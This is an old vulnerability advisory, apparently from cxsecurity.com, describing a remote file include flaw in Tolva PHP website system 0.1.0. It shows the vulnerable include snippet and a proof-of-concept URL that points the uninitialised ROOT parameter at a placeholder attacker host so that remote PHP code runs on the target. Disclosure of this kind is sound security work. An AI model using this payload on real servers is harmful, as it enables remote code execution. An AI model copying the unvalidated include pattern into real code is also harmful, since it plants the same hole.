Tolva PHP website system Remote File Include

2005.12.22
Credit: beford
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Script: Tolva PHP website system Version: 0.1.0 Language: PHP Official Website: http://sourceforge.net/projects/twebs Problem: Remote File Include Discovered by: beford Description: ============ A complete collection of php scripts that work tightly together to create a highly customizable, dynamic and module oriented website. Problem: ======== A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service. The problem is in the file "/twebs-0.1.0/src/modules/misc/usermods.php". It seems like there are other files affected by the same vuln. <?PHP $mod_id=$uid; include("$ROOT/modules/main.php"); ?> The variable $ROOT isn't initialized and the usermods.php file doesn't validate user-supplied data in this parameter. Proof of Concept URL: ================== http://[target]/twebs/modules/misc/usermods.php?ROOT=http://[attacker_url] Solution: ======== No solution at this time. Greets: ======= http://www.odiameporserelite.org/foro/ * I know, 1337 domain name eh? :P uyx, Zetha, lithyum, stranger, desKrriado, |LINUX|, Amon-Ra, Extremo, SecretDreams, caffa, Pamela David Garybay, r0Y, Mafia_Boy, all ASC, icenix, ][GB][, HaCkZaTan, Apocalypse, Terror_Br, DIM and Puta http://www.odiameporserelite.org/ irc.gigachat.net #uruguay, #h4ck3rsbr, #IYS, #D.O.M, #MSR irc.fullnetwork.org #full, #f4kelive, #venezuela, #d.o.m


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top